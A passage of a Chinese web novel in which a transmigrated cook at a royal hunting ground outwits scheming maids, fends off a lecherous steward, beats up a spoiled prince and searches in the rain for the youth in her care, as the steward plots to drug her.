其中一个人转了转眼珠儿:“走,把小厨房里的东西都扔了换了,看她明日怎么试菜!”
猎林山野的风儿变得喧嚣,呼啦啦吹着,在这个深夜像是巨兽的嚎叫,述说着这猎林里未知的恐惧,一阵阵的笼罩绵延了几座山峰。
第22章 甄x传十级学者
帐篷里,沈木兮陡然睁开眼!
转头一看,帐篷里静悄悄的,其他几人已经睡着过去,而方才睡着时后颈处的那股凉意并不存在。
困意再次来袭,她又睡了去。
这一夜,那阵邪风过后,沈木兮难得睡了一个好觉。
桌上摆放着一个凉透的馒头,和一碗都能数清几颗米粒的稀饭。
看着这故意留下的剩菜,用脚趾头想也知道这些人对她的针对。沈木兮倒是不太意外,昨夜来的时候,就感觉到了这些人对自己的敌意。
她抱着水盆出去打水洗脸,走出帐篷的时候,那几个奴婢正在外头交头接耳,见她出来了,马上散开,生怕她听着了。
沈木兮是个你敬我一尺我敬你一丈的性子,反之也一样。
像是这种孤立人的小把戏,她见过不知多少!
她可是“甄x传”十级学者。
沈木兮抱着木盆,笑着走了过去。
“敢问这位姐姐是叫喜鹊吧?”她十分热络地问向三人中长相最普通的那位,“昨日带我进来的管事说,让我有什么事都问你,想来姐姐应是丫鬟里的领班,不知打水的地儿在哪儿呢?”
迎春、喜鹊,还有碧桃这三人,是当地府衙拨来猎林伺候人的丫鬟,都是知县府中的家身子。
是个人都看出来喜鹊只是个狗腿子,而迎春才是领头人。
沈木兮就像是不知道一样,还在那笑着说:“喜鹊姐姐真厉害,这么年轻,就成了猎林里的小管事,今日我可要多和姐姐学着呢。”
喜鹊被夸得花枝乱颤,脸都笑开花儿了。
旁边迎春的脸像是吃了苍蝇一样。
“在那头呢。”喜鹊掩唇笑着指了一个方向。
沈木兮感谢转身。
她身影消失,身后顿时响起一阵骂语!
“哼,喜鹊!我就知道上个月李管家多拨了月钱给你不是平白得的!还小管事呢?说吧,你是不是私下陪过了李管事……”
“迎春,你胡说什么?那是她说的,我可什么都没说啊。”
“我胡说吗!我看你才是做贼心虚!”
“别吵了别吵了。”
碧桃站出来充当和事佬,却被迎春指着鼻子道。
“还有你碧桃,那日不是你偷偷告诉我喜鹊月银的事吗?”
“什么!碧桃,原来是你!”
“……”
身后的叽叽喳喳声,很快被山林幽风遮挡。
等迎春等人反应过来她们居然莫名其妙的开始内讧时,这头沈木兮伸个懒腰,哼着小调,往溪水边走去,心情那是十分的好。
她刚洗完脸,正在拧帕子,身后传来不善的脚步声,畏畏缩缩的。
沈木兮觉察到了不对劲,感觉到身后人的逐渐靠近,她脸上笑意微收,偷偷捡起溪流边的石头。
刚转过身,迎面对上一口咧嘴大笑,露出满是牙垢的大黄牙。
沈木兮强忍着恶心,才没把昨夜的饭给呕了出来。
“李管事,有什么事吗?”她蹙眉。
李管家嘴角咧得更大了。
“这不是怕你才来,不熟悉路,亲自带你去后厨房嘛。”
说着他凑近了两步,眼中的淫邪和猥琐,都快从那张苍老的脸上溢出来了。
昨夜他带自己进来的时候,沈木兮就瞅着这老男人瞅自己的眼神不对劲。
这是这里的管事,明着得罪不得,她只能把手里的尖锐石子收了回去。
“走啊,我带你去。”
他说着,朝沈木兮挨来。
沈木兮又被逼得往后退了两步,脚下一滑,差点掉进了水里。
“你怕什么,我又不吃了你,只是带你去后厨房呢。”说是要带她去后厨房,却是越靠她越近,那身上的老男人味儿,都要腌到她身上来了。
“只要你足够听话,我定能让你在这久留的。”他逐渐露出本来面目,搓着手,阴恻恻笑说。
沈木兮一脸惊惶的样子,继续往后退。
见她已然是避无可避,李管事越发的兴奋!嘴上的八字胡须都在跟着猥琐地颤!
他要扑来时,沈木兮忽然一个侧身,她脸上惊惶不见
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,被讥诮和冷笑替代,眼睁睁看着李管事哗啦一声栽进水中,还顺带做了个拜拜的手势。
“啊!救我!我不会水……”
沈木兮佯装担忧地俯身看来:“李管事,你不是和我正聊天的吗,怎么就掉进去了?来,我来救你。”
说着救人,沈木兮非但没救他,还在他要冒出身子来时,伸出一根指头把他又摁了进去。
“快救我……咕噜咕噜……”
反反复复几次,等沈木兮玩够了,这才把他拎上来。
李管事被折磨的够呛,明明知道她是故意的,可又没证据,奈何不了她。
此刻甚至连说话的力气都没了,只能干瞪着人。
“山林风冷,李管事还是赶紧回去换衣服暖暖吧,不然冻着了可不行。你这边不方便,那我就自己去后厨房了。”
沈木兮溜之大吉。
剩得那李管事恨得牙痒痒。
小娘们,先容你两天,总会让你栽进老子手里的!
溪流对面的山腰木屋外,男人摩挲着手里的镶金玉扳指,站在山腰上,饶有兴味的端详着下方发生的一幕。
“七哥,原来你在这啊!”北辰殷跑来,墨绿色衣摆沾上一点山林里的珠露,像是一朵在袍子上开了一朵朵绚烂墨莲。
他顺着七哥的眼神看去:“七哥你在看什么呢?盛家兄妹已经在猎林外等着我们了。”
北辰晔转头,兄弟二人生得三分像,都是一样的俊逸,特别是北辰晔,深褐色眼瞳彰显自身贵气,身板如松,比青涩少年气的北辰殷多了不少气场:“没什么。这山里风景不错。”
也有许多京里看不到的景致。
可是再怎么别致,也只是深山野景,乡里之物,谈何能与京中盛景相比。也永远也成为不了那一抹京中色泽。
“走吧。”
北辰殷哦了一声,偏头又往下看了眼,却只看到一道跟八爪鱼一样逃开的女子模糊背影。他眉头一皱,缩头啧了声:乡野之人,果真粗鄙!
只是这人,看着怎那么眼熟?
第23章 把做菜的人抓起来!
沈木兮来到了后厨房的小别间。
不出她预料,这里的人这么针对她,这次的试菜肯定不会那么容易。
这里基本什么东西都没有。
只有几片恹透的叶子和三两个鸡蛋,连调料也没几味。
连原材料都不够,能做出什么好菜色?
老厨娘已经在外面催了:“赶紧吧,别耽误时间。”
沈木兮看着这空荡荡的案桌,摸着下巴,犯起了难。
不过这些人这么想赶走她,倒是把她身上不多的反骨给勾出来了。
“好嘞!马上就好。”她应了一句,拴上围裙,开始在灶台前捣鼓起来。
老厨娘往里看了眼便直摇头。
又是个来充数的。
等沈木兮擦干净手,从里走出来时,已经是小半个时辰后。
“饭弄好了吗?”一个小厮着急地走来,在后厨房几个屋子转了一圈,“东西呢!”
猎林那边的贵人刚打完猎,正让人传膳呢!
小厮也没等沈木兮回答,见她手上端着东西,一股脑拿了过去。
“哎,我这……”
他打断沈木兮的话。
“真慢,这么久才做了一道菜!”
“赶紧赶紧!”
前来准备看热闹的迎春等人,等那小厮走后,过来小声蛐蛐:“喂,方才他端走给贵人的菜,是你做的?”
沈木兮点头:“啊。”
三人对视,看沈木兮的眼神变得怜悯,特别是迎春,还做作地掩唇嗟叹的摇了摇头。
“那可是要端去给猎林里住着的贵人的,没人给你说吗?”
就算这女人厨艺过得去,这里的原材料就那么点,她能做出什么东西来?
沈木兮横了装模作样的几人一眼,她都懒得揭穿这几人的小心思。
那小厮既是给贵人送东西去的,又怎会不认识这里的厨娘,竟从她这个生脸手里拿了菜看也没看就走?
“是吗?”
“不过几位姐姐放心,我给那小厮说了,这菜是我们四人一起做的。姐姐们在这是当值这么久,有姐姐们的帮衬,我肯定不会出事的。”
三人:“……”
什么?
迎春脚下差点一个踉跄!
等她们着急去找到那个小厮,想要回那道菜肴时。小厮却说,菜已经送到了贵人跟前。
迎春一听,当场撅了过去。
于此时,另一边的木屋里,珠帘一掀,奴才端着托盘,来到了北辰晔的跟前。
盛苒兄妹坐在一旁,北辰殷在北辰晔的下首。
北辰殷早就饿了,见只端来了一道菜,不悦撇嘴:“都是怎么做事的?这么久才一道菜?”
其实是今日他们回来得实在太早,晚膳厨娘还在准备中,那小厮怕贵人们等急了,才先端了一道饭前开胃菜过来。
奴才不敢说是贵人的原因,只说自己马上去催。
盛苒偷偷看了眼坐在上首,眼观鼻鼻观心,连在屋中也坐得比松还直的北辰晔,把菜移到他的跟前,柔声说:“晔哥哥,你先吃?”
北辰晔眼观鼻鼻观心,端得是清雅高贵的姿态:“我还不饿。”
盛苒有几分失落地垂下头。
北辰殷把菜挪了过来。
“苒妹妹,没事!七哥不饿,那我们先吃!”
他揭开菜,看得一时愣住,眉心皱得都可以夹死一只苍蝇。
“来人。”
李管事躬身走来:“不知公子有何吩咐?”
“这什么东西?饭不像饭,菜也不像菜的,里面还有炒碎的鸡蛋,加上几个葱花,就是菜了吗?我府中的狗都比这吃的好!”
盛苒头一次见这样的菜色:“所谓佳肴是色香味俱全,可单单是一个色,这道菜便……”她看着也是直皱眉头。
北辰殷一拍桌:“这是想故意羞辱本公子吗,把做菜的人给我抓起来!”
李管事也是第一次见这样的菜色,擦着汗水:“公子息怒,小人这就去,这就去。”
……
山林木屋这边的动静,传到了后厨房这头。
听说贵人那边怒了,刚醒过来的迎春,双腿一撂,又晕了过去,气晕之前,还不忘狠狠剜一眼沈木兮!
沈木兮倒是淡定,还在灶边烧着柴火。
“这可怎么办,要不要去告诉李管事事情的始末?”喜鹊急地来回踱步道。
碧桃:“现在去说也来不及了。不然,咱们……”
两人对视,再看一眼晕过去的迎春,准备丢下迎春直接跑路,先出去避避风头再说。
李管事这
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时来了,打量了后厨房里的人。
“方才那道菜,是谁做的?”
喜鹊和碧桃见着李管事这严肃的神情,就知道事情不妥了。
为了事先撇清,两人齐刷刷一指沈木兮。
“李管事,就是她!那道菜从头到尾都是她做的!”
“是啊,我们连那菜碰都没碰。”
李管事看去沈木兮,皱起眉头:怎么会是她?
他还是走了过来。
“贵人说,这菜味道不错,让你再做一些其他的菜色一起送去。”
原本还等着沈木兮倒大霉的喜鹊等人,听到这下巴都要掉地了!
喜鹊不死心地问:“管事你说什么?贵人很喜欢那菜?”
李管事也是不明所以,原本贵人是很生气的,可尝了口菜后,脸色顿时就变了,还让他马上让这人再做一些送去。
难不成,这京城权贵们吃多了山珍海味,猪食糟糠的,反而更喜欢?
沈木兮一点也不意外,她早就发现了,这个世界里的食材十分单一,很多东西都没人吃过,哪怕是一道简单的蛋炒饭也能让人流连忘返。
“行了,赶紧吧,贵人们都在等着呢。”李管事催促着沈木兮,“若是讨了贵人欢心,定少不了你的赏。”
沈木兮站起身,笑眯眯地点头:“好勒。不过要留我在这继续做菜,我也有个条件,我想接个家人进来和我一起住。管事放心,我的家人很听话,不会随意走动招惹到贵人。”
李管事还是第一次见和他谈条件的,不过沈木兮现在还不是厨娘,的确出入自由,想走就走了。一想着贵人们还在等她做菜,便也应了,等留下,还不是给他拿捏?
“行了,你赶紧吧。”
没想到不是处罚,反而是领赏。
喜鹊等人按捺不住了,连连续气晕两次的迎春也爬了起来,纷纷都想瓜分一杯羹。
“李管事!还有我们呢,方才那道菜是我们一起做的,不信,你问她。”
被指的沈木兮抬起眼皮,茫然道。
“是我们一起做的吗?”
“哦,想起来了,方才那是我开玩笑逗你们的,我什么也没对小厮说。我一人做事一人当,怎能拉诸位姐姐们下水。嘿嘿。”
“?”
第24章 谁家孩子,竟被丢在雨里?
刚垂死挣扎起来的迎春,咣当一声又被气**过去!
今日沈木兮的发挥显然不错,菜肴加了一道又一道。
终于忙活儿完,已经是黄昏了。
沈木兮取下围裙,拉伸了一下腰身,抬头看去外面璀璨的落霞。
经过今日这一出,她大抵是能留在这。
如此,她也能去接景愿过来了。
沈木兮收拾一下,准备出去接人。
才不到两天没见,有点想念是怎么回事?也不知他一个人在外面住着,过得好不好,有没有好好吃饭呢。方才她特意烤了两个红薯,正好给他带上。
还真是“娘”当久了,人都变得到唠叨了。
还没出后厨房,另一个生脸小厮突然出现,对着沈木兮说:“你就是新来的小厨娘吧?贵人那边传话,说是要见你。”
沈木兮拧眉。
怎么这会儿要见她?
她看去逐渐暗下来的天色,之前答应过谢景愿,无论留不留在这,今日天黑之前都要去见他的。
沈木兮拧眉说:“我有点急事要办,等会儿回来马上去见贵人。”
“当你是谁呢!”
“只有你等贵人的份,哪有贵人等你?”
几个红薯都要包起来舍不得吃,穷得要死,还敢让贵人等她,真是好笑极了!
沈木兮:“那就真的抱歉了。”
就算丢了这份活儿,她也不能把谢景愿丢在外面不管不顾。
沈木兮丢开围裙,十分洒脱地走了。
看得那小厮登时傻在当场。
什么人啊这是?
猎林山下的路边客栈。
天边的晚霞即将被山风吹散,天色也越来越暗,这会儿甚至还下起了雨来。
淅沥雨声里,少年独身站在客栈门前,背着他的小包袱,一直盯着同一个方向。
半边身子都被淋湿,依旧是一动不动。
从方才到现在,他在这都快站一个多时辰了。
因为他长相精致,是个乡里头难得见到的漂亮孩子,沿途不少人朝他多看了几眼。
“这是谁家孩子?怎么一个人在这,也没把伞。”客栈里的人问。
客栈老板摇头:“谁知道啊,头天有个女的把他送来,给了两天的住宿饭钱,放下人就走了,再也没回来。”
“真是可怜啊,别是被家里人给故意丢在外头了吧,可惜这么漂亮的孩子了……”
随着客栈里的声音,外面的雨越来越大。
谢景愿的青丝被打湿,黏在线条流畅的下颌和脖颈间,深邃阴冷的眼眸坚持又固执地紧盯着上山的方向。
“小哥,估计没人来接你了。不然你跟我走?我杜大娘保你吃喝不愁!”一个在客栈避雨的胖女人走来,她穿着贵气,浑身涂脂抹粉,眼神不住在谢景愿被雨水勒出的精瘦腰线上打量。
谢竟愿抬起被湿发遮住的另半只眼,冰冷湿红眼底里的阴气儿,看得那杜大娘倒吸口气。
只觉得眼前这少年脆弱又阴森,浑身阴邪得很,多看两眼就觉得骇人!
她缩了缩脖子,赶紧走了。
于此时,猎林这边,沈木兮刚下了山,正着急忙慌的准备赶出猎林。
没想到会下雨,方才她折返回去拿伞了,沈木兮自己倒是不怕淋雨,就怕让谢景愿淋着,都下山了才又回去把伞拿上。
着急离开,沈木兮走得有些快,也没留意前面山路栈道上拐角的人。
两人迎面相撞,沈木兮躲开了,对方却是捂住被撞疼的鼻子,指着她大骂:“哪里来的奴才,不看路吗……怎!怎么是你!”
北辰殷一看沈木兮,当即认出了她就是那日在街上卖菌汤的泼辣女人。
那日被她怼后,北辰殷气得是夜不能寐。
他一个京里小霸王,被个乡野女子当着百姓骂得无地自容,简直是奇耻大辱。
回去后每时每刻都在想着如何扳回这局,以及下次见面时又该如何发挥!没想到这会儿人居然送上门了!
北辰殷过于激动,盯着沈木兮的脸红扑扑的,差点跳起来!
沈木兮也没想到是他,之前见这人穿着不俗,就知道不是江州城的人,现在又在这遇上,已经猜到对方是从京里来猎林游玩的权贵子弟
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。
原来今日一而再再而三命人传膳的,就是这小子?
沈木兮心中嗟叹,可惜,早知道放点巴豆好了。失策啊!
她赶着去接谢景愿,今日不想招惹麻烦,主动道歉道:“对不住公子,方才是我没看路。”
这就怂了?
北辰殷嘴角高高扬起,理着衣服,觉得定是这几日过去后,自己的气场更足了,才把此人镇住了。
不过就算这样,也不能让她这么容易走人。
因为上次的事,他晚上一闭上眼,就出现这个女人的脸!几乎没睡一个好觉!
“站住,我有让你走吗?”
“哼,看你打扮,是这里的奴婢吧。”北辰殷抬手一挡,煞有其事地抱胸道,“既是奴婢,主子让你伺候,你就只能受着。走,现在就随着我去我那儿,给我捏肩捶腿。什么时候把小爷伺候好了,小爷就让你走!”
“……”
沈木兮原本不想招惹是非的,可是这小子杵在这赖着不走,她也没办法。
“公子确定吗?”
北辰殷下巴昂的极高:“当然啦!”
“我挺急的,那就在这里可以吗?”沈木兮用手指头指了指眼前这木栈道。
这里?
北辰殷还是第一次见这么上赶着伺候的,换做其他有眼色的,不是现在就跪地求饶,待会儿跟他回去的路上,也会让哀求他放过自己的。
他原本还想,她若是直接跪下求他,姿态再放低点,他也便大人不记小人过了。
没想到她这么没用。
北辰殷几分失望的撇嘴,最后摆摆手,坐在旁边的栈道栏杆上,一甩锦袍:“也行吧,那就这了!”
沈木兮扬唇一笑,先是看了眼四周:“公子,你瞧着这里没旁人吧?”
北辰殷也跟着她伸长脖子左右四望。
“没人。咋啦?”
“没人那就好办了。”
嘿嘿。
北辰殷只见眼前女子突然对他咧嘴一笑。
那笑倒是不丑,却是让他浑身起哆嗦。
刚觉得不对劲,一个拳头已经对着他脸上落下!
第25章 诱哄
“哎哟!”北辰殷没有预料,当真挨了一拳,捂住脸跌在了地上,他瞪大眼睛,震惊的指着她,“你敢打我!”
他长这么大,就没挨过打!
她敢打他!
沈木兮抱胸俯下身:“不是让我给公子捏肩捶腿吗?舒不舒服?要不要再来一下?反正也没人看到,不是吗,我的公子?”
“你!”……憋了半天,北辰殷才骂出一句,“你怎么胡乱**呢?一点也不像是个姑娘家!”
比苒妹妹差远了,苒妹妹温柔如水,才不会像是她这样没规矩!
规矩?规矩没人犯,那还叫规矩吗?
沈木兮又给了一拳!
北辰殷霎时被揍成了熊猫眼。
沈木兮的动作快准狠,还是对准最疼的位置,下雨这栈道路滑,他想起身又给滑了下去,等他终于爬起身时,眼前哪里还有沈木兮的身影!
可恶极了,他又被这女人摆了一道。
不,她才不是女人。
谁家女子这么大的手劲儿,跟头牛一样!
北辰殷气得直抽,只觉得这回一整年的梦境里,都要甩不掉她了!要死啊……
彼时的山道客栈。
雨还没停,山林却早已经黑透。
客栈老板看着那还在门前站着的少年,无奈摇头走来:“孩子,先进来吧,今夜就不收你的银钱了,快去洗个热水澡,别着凉了。”
谢景愿再看一眼那被黑暗笼罩的山道,终于垂下了湿透的睫羽,眉心紧紧皱着。
她,骗了他。
她还是骗了他,是吗?
早就知道是这个结果,可当时,他居然真的愿意相信她。
从她出现在谢家的那一天起,她就讨厌他。
好像把嫁来谢家怨恨,都归咎到了他的身上。
她凶狠,无情。
对狗都比对他好。
此刻谢景愿想着村里的那只狗,眼中竟生出几分浓浓的嫉妒和羡慕。
他也曾偷偷的去,想把它偷回来剁了。
却被她发现了。
那一日,他被她罚跪在地上,捆着双手,跪舔着吃饭。
至此后他真的怕了,再也不敢胡来。
他曾经好想问她,若他成了村口被她摸过的那只狗,永远只听她的话,她会不会心疼他一次。
而现在,已经不用问了,他已经知道答案了。
谢景愿抬头再看一眼猎林的方向,收回落寞阴暗的眼转身……
就在这时,身后的雨夜里传来一道脚步声。
谢景愿的步子顿住,却没有回头。
他听得出这不是她的脚步声,只要是她的声音,无论说话吃饭还是走路,亦或被吓出的惊呼,甚至是她睡觉时在被窝里的偷偷嘤咛……他早就熟记于心。
“你是那位沈姑娘的家人吧?”身后的人冒着雨水跑来问。
谢景愿转身。
客栈里的油灯一点点映亮了那人干瘦蜡黄,又带着笑的诡异老脸。
李管事脱下蓑衣凑过来,笑起来脸上的瘦皮都皱成了一堆:“我是那边猎林的管事。你就是沈姑娘的弟弟了,对吧?”
谢景愿不是个喜欢和旁人说话的性子,他也不喜欢眼前这个主动满脸带笑的老男人,眼眸藏着暗光里,没有说话。
“你娘她今日得了贵人的喜爱,这会儿还在伺候贵人呢,她还说,你是她的拖累,想让我把你弄走。可我见你可怜,实在下不去手,便没答应。”
谢景愿的双唇抿得很紧,好像连四周夜里的风声都更凉了。
“我已经听说了你和她的事,她平日待你不好,对吧?其实我也看她不顺眼。这样吧,我帮你。”
李管事悄悄地拿出了一个药包,咧着满嘴黄牙。
“瞧,这可是好东西。”
“只要你帮我下在她的吃食里,她既不会多怀疑,等吃下后,还会乖乖听话,再也不会欺负你。”李管事眼神诡异,诱哄着对少年说。
看着那个药包,谢景愿像是终于有了反应,抬起脸看去猥琐的李管家,看起来很是单纯地发问:“这个,真的可以让她不再欺负我吗?”
“那是当然!我还会帮你欺负她的,而且是狠狠地欺负!”黑夜掩盖了李管事眼底里的淫邪,只听到他话语十分认真,“等我帮你仔细地调教好她后,她今后定会乖乖听话的。
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”
眼前少年五官精致,小脸白皙,但因为太瘦了,一双细长湿红的眼空洞洞的挂在眼眶里,直视着李管事的眼。即便是一副单纯模样,也莫名阴气十足。
看得李管事莫名背后起了一身鸡皮疙瘩,微微往后退了一步。
蓦地,少年点头笑了,湿红眼中蒙上一层诡异雾色,弯唇哑声说。
“好啊,那我把她给你。”
……
这夜雨势最大的时候,沈木兮才匆匆赶了来。
她不常上山,更别说是这样大的雨了,山里的路不好走,在路上多耽搁了时间,但总算是赶到了这。
可到了客栈却听老板说:“那个少年吗?他已经不在这了。”
沈木兮听到这句,踮起脚一把抓住老板的衣襟:“你说什么?什么叫做不在这了!”
路上都是树杈,沈木兮为了保护伞,身上都被淋透了,此刻浑身上下都在滴水,发丝黏在脸上,脸色惨白惨白的,衬着那凶巴巴瞪着人的眼睛,像是从水里爬出来的水鬼一样,
老板吓得哆嗦,心说这一家子,怎么没一个像“人”……
“是…是走了,早就离开这了。去什么地方,我也不知道。”
沈木兮不死心,又去房间找了一通,最后把整个客栈都寻了,依旧没找到谢景愿。
真的走了吗?
是她的错,是她来迟了。
沈木兮从来没有这么慌乱和内疚过,顶着浑身的雨水,湿漉漉地站在客栈门前,望着眼前阴暗的黑夜,好像再也看不到一丝光亮。
他是不是以为,她不来了,所以走了?
她的心里,有什么地方突然咔嚓一声裂开……
冷风中,沈木兮身子晃了晃,仿若失去了自己的所有目标,一切都变得那么渺茫和模糊。
“是她吗?”
身侧客栈里的人开始小声嘟哝。
“就是她!把孩子丢在这就走了,多么听话的孩子啊,乖乖地在这等她到黑夜。怎么会有这么狠心的人?”
“要我说啊,这样狠心的女人,下十八层地狱都是轻的……”
“是啊,她怎么不**……”
第26章 要我帮你……吗
客栈里指指点点的声音,顺着风雨朝着沈木兮的面容上吹打来,跟刀子一样。
沈木兮再也站不住了,冒着大雨就奔赴进了深夜山林里!
可是她把大半个山头都找了,就差掘地三尺,却还是没找到谢景愿的踪迹。
即便人真的走了,可这么大的雨,他一时又能走到哪去?
直到找到了后半夜,沈木兮才拖着疲乏的身子回到了猎林。
找了快一夜,她不知在山上摔了多少回,身上除了泥泞还有各种伤,回来的时候一瘸一拐,可都比不上心里的那个缺口让她心里难受。
这份难受,源于自责,也是愧疚。
就在沈木兮一瘸一拐,撑着木棍子回到猎林时,前面猎林入口外,正站着一道熟悉的身影。
雨夜下看不太清,可沈木兮却像是有什么感应一样,丢了木棍,忍痛跑了过去!
看清真的是他,沈木兮眼睛一亮,一把飞奔抱住了和自己一样湿透的他!
“景愿!!你怎么在这?”
雨夜里,沈木兮的声音被淅沥雨声掩盖,她只能扯着嗓子喊!
“不是让你在客栈里等着我吗?谁让你走了的……”真是不听话!
本要继续苛责的话,在摸到他被雨水打湿的单薄身子时,又生生咽了回去。
都怪她,怪她。
“以后一定要乖乖听我的话,知道了吗?没事吧,有没有受凉?走,我先带你回去,赶紧去洗个澡。”
她说了半天话,却没听到他的半句回应。
沈木兮终于发现了不对劲,心中莫名咯噔一下,缓缓抬头看去雨夜里的他……
雨丝绵绵,他被笼罩在黑夜和朦胧的雨雾里,可能是雨水浸湿他衣服的缘故,他的身子比往日更沉更重,方才沈木兮抱过来的时候,感觉像是触碰到了一块儿石头。
硬硬的,冷冷的,还硌人。
他湿漉漉的碎发遮住半只眼,眼尾带着病态的潮红,像是一只濒死的困兽,漆黑眼瞳里的幽冷漩涡,似是要在亡死之前,拉着她和破碎的他一起跌入那无尽地狱。
“景愿,你原来一直在这等我吗……”沈木兮看得心头猛地一震,抬手摸了摸他的额头,惊了一跳,果真烫得很!
他这是在外面淋了一晚上不成?
沈木兮赶紧把一直保护着的伞拿来给他打上:“对不起,景愿,是我来迟了。走,我们先进去再说。”
谢景愿一路上都没说话,那沉默的样子,比以往任何时候都要有过之。
沈木兮也顾不得其他了,她知道今夜是自己的原因,继续解释也是徒劳!他生气也好,怨她也罢。她都认了!在只能先顾着他的身子,别让他真的病了。
之前给李管事说过,她要带家人过来住,需要一个单独的帐篷。
她当时只是提了一嘴,
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没想到李管事当真记在了心上,回来后就看到了新搭的独立小帐篷。
李管事这么好心?
狼心狗肺再怎么也变不了菩萨心肠。
沈木兮表示严重的怀疑。
只是现在她管不了这些,赶紧带谢景愿进了帐篷里。
好在猎林住的是贵人,什么都不缺,很快就准备好了热水姜汤。
沈木兮试了试水温,转头说。
“景愿,水温正合适,快来洗洗吧。”
她擦干净手就要出去。
谢景愿顶着湿透的身子杵在那,没有动。
沈木兮偏头问:“怎么了?”
他的脑袋垂得更低了,眼睛雾蒙蒙的:“你又要离开了吗。”
沈木兮眉心一皱,心中的愧疚感更深了,他这是被自己给“丢”怕了。
“没有,你在这里沐浴,我就在帘子外头。”
谢景愿又不说话了。
沈木兮这才隐隐想起,以前在原主身边时,他从未这样自在的泡过澡。
几番的内心挣扎后,沈木兮生生收回了迈出去的步子:“要不我来给你擦身子吧……”
回到浴桶边,拿起抹布,给他一点点擦拭干净背上的泥水和脏污。
因为在乡下过得不好,他身上的肌肤没有文中后期所描写的“白如**”,现在更偏麦色一些,也稍显粗糙。
但也因此,更带着一股年轻少年的朝气。
第27章 初见男主,暗波四起!
沈木兮擦完后背后,丢开帕子!
“景愿好了,你先洗着!我……我出去了!”
刚在屋外大树下歇息一会儿,不远处突然传来了马蹄和鞭打声。
“都出来,出来!”
是个守卫的声音,正在传唤住在帐篷里的奴婢和厨娘们。
沈木兮听着这动静不对劲,回去对帐篷里的谢景愿说:“景愿,猎林里好像出了点事,我先出去一下,你洗好后记得把姜汤喝了。”
换了身干净衣服,她冒着夜色走出了帐篷。
这会儿雨已经停了。
除了她,还有不远处帐篷里的迎春等人,都被叫了出来。
“出什么事了?”迎春打着哈欠问。
喜鹊也在嚷嚷:“是啊,这大晚上的,有什么事不能明日再说嘛?”
守卫坐在马背上,神色严肃:“是主子让你们去的,问这么多干什么,跟我走就是了!”
既是贵人传的,大家只能把起床气咽下,跟着去了。
沈木兮跟在队伍的末尾,她有注意到,除了她们几个,竟连老厨娘也被叫上了,直觉告诉她事情不对劲。
众人跟着小厮来到了山林木屋。
往日里这个时辰,贵人们早就歇息了,可这都要到后半夜了,却是灯火通明。
小厮领着她们来到屋中。
果真是贵人住的地方,即便是山林里的木屋,里面也是别致风雅,什么都有。
顺着面前燃着的炭盆火星,沈木兮偷偷打量了前面的人。
屋中坐了好些公子小姐,个个华衣锦袍,腰寰玉带。容貌更是一个赛过一个。
其中要属那穿着暗青色锦袍的年轻男子气场最强,他坐在上首的太师椅上,双眼紧闭,摩挲着手里的玉扳指。
长相不俗,气宇轩昂,不怒自威。
本是十分大气舒展的容颜,却因着生了一个阴沟鼻,看着让人觉得有几分不适。
还有那挺直的身板,看似是如松挺拔,实则太过于矫枉过正。
旁边的另一对男女生得有四五分像。
男子看似满脸微笑,实则眼神倨傲,方才迎春等人跪下的时候,他借着端茶的动作故意甩开了袍摆,生怕给弄脏了。
少女则是一身紫色罗裙,一双剪水美眸明艳娇柔又暗生厉色,安静地坐在一旁。
沈木兮嘴一撇,得出结论:一群装货!
论相貌,这些人都是一等一的绝代公子佳人。
可沈木兮在家对着谢景愿那张妖冶绝美的脸看久了,再看其他美色,也觉得不过而已。
至于害怕?
笑死,她整天到晚的都和文里最大的反派待在一块儿,还怕得了谁去?
李管事恭顺地杵在北辰晔的身侧:“贵人,猎林里的奴才们都在这了,连厨娘也来了。”
北辰晔终于睁开眼,他扫视了一圈地上跪着的奴才们,霎时收回眸子,朝旁边的人扬下巴。
很快,另一道身影从屏风后被人带出,正是鼻青脸肿,都快不成人形的北辰殷。
“人在里面吗。”北辰晔对被打得娘都不认的北辰殷问。
沈木兮总算明白了过来。
这是要北辰殷指认出打他的人!
北辰殷坐了下来,高高肿起的眼皮一抬,带着十足十的幽怨和愤恨的眼神,直直落在一群人里的沈木兮身上!
仿佛是要把她隔空拧碎!
“……”
沈木兮已经准备脚底抹油了……
不知道现在身上这点银子,够不够她带着景愿逃亡过活。
娘的,她后悔了!
后悔当时没有打得更重点,让他晕个半个月再醒,自己还能多拿点银子再跑。
“是她吗?”北辰晔看去北辰殷盯住的沈木兮,眯起眼。
北辰殷从鼻子里重重哼出一口气,下巴高高昂起。
“不是她!这里没那个人!”
正准备找个好时机跑路的沈木兮脸色一变,眼神惊奇地看去北辰殷。
谁知他又哼了声,鼻青脸肿的脑袋傲娇一偏!
哼,笑**了,他北辰殷好歹是京城小霸王,有头有脸的,才不要告诉旁人,自己是被个女人给打了,那多丢人啊!
再者,好男不和女斗。
被打了就是被打了,他认。就算报仇也是他自己亲自
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来,才不会像是个窝囊废一样,让哥哥来帮忙呢!
也不知是哪个挨千刀的,给七哥告的密。
再看着沈木兮那直愣愣盯着他的眼神,北辰殷更是怒气汹汹,站起身张牙舞爪道。
“看什么看!没见过我这般的美男吗,把脸转过去,不许看!”
“再看,小爷把你眼珠儿挖出来!”
沈木兮赶紧埋下脑袋,心里寻思是不是自己打的太重,把人打傻了?
还是北辰晔咳嗽了一声,北辰殷才消停坐了回去。
北辰晔一看就拿自己这个弟弟没法儿,无奈摇头:“你啊,到哪儿都不消停。”
“七哥,我已经没事了,那个打我的人怕是已经跑了,我看就算了吧!”北辰殷可不是想保沈木兮的命,他只是觉得实在丢脸。
被打了也就算了,还被拎出来让大家“观赏”,连他的苒妹妹也在,他现在只想躲起来!
北辰晔显然不想就这样算了。
“胡闹,坐下!”
“今日谁出现在那栈桥上过?”北辰晔扫视一圈众人,眼神锐利逼人。
北辰殷心里一惊,七哥怎么知道这些的?他可没说啊!到底是谁嘴这么贱……
旁边垂头不语的盛苒理了理衣襟。
沈木兮还来不及想其他,因为北辰殷的一句“七哥”,已经吸引了她的注意。
在这本书里的男主,便是西越皇家排行老七。
文里所写,男主是西越皇帝一醉后和宫女所生,因为出身低贱,半岁后被送到柔妃宫中,也便因此,世人都以为他和柔妃所生的九皇子乃同母所出。
只是宫中都知道他的真实出身,男主从小被异样目光相待,不过他并没有因为这些自怨自艾,反而很是用功,长成后逐渐展露锋芒。
他很懂得把握分寸,不会太越矩,几年来,得了西越皇帝的不少赏识。
如今已被封为了西越的夜王。
在看那旁边和文里所描写的……憨头憨脑,毫无城府的傻子九皇子十成相像的北辰殷。
沈木兮心说自己运气怎么这么背?一来就得罪了男主一派!
第28章 咬她
不过她和男二本就是一个团伙的,和男主注定是对立面,早晚都得得罪,想想她也便被迫认命了。
